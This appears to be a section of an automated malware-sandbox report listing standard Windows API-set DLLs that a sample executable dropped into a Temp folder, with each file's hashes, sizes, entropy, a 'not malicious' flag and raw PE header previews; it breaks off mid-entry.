SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078394808632259
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4hWEApkqnajPBZ:bWPhWqXYi00GftpBjBemwl1z6h2
MD5:	9E5A69C777D7E016E5BF8873C18ECAAD
SHA1:	90BAB12FAFE4ABBE03A592C5E1D5B08B3108A3C0
SHA-256:	6E61A7288F01B700F5E19936FE2FB771FEDAAC3037C3C3251D6C81BA4AABD959
SHA-512:	9FE9AA82BEC4D6BAB9EFD474E8FA141354A48862FE1A73912398267093E51292D190018EB2760F1098B333F01F73D32C925EE94865CF0FB2EF3E91B1B1D16784
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
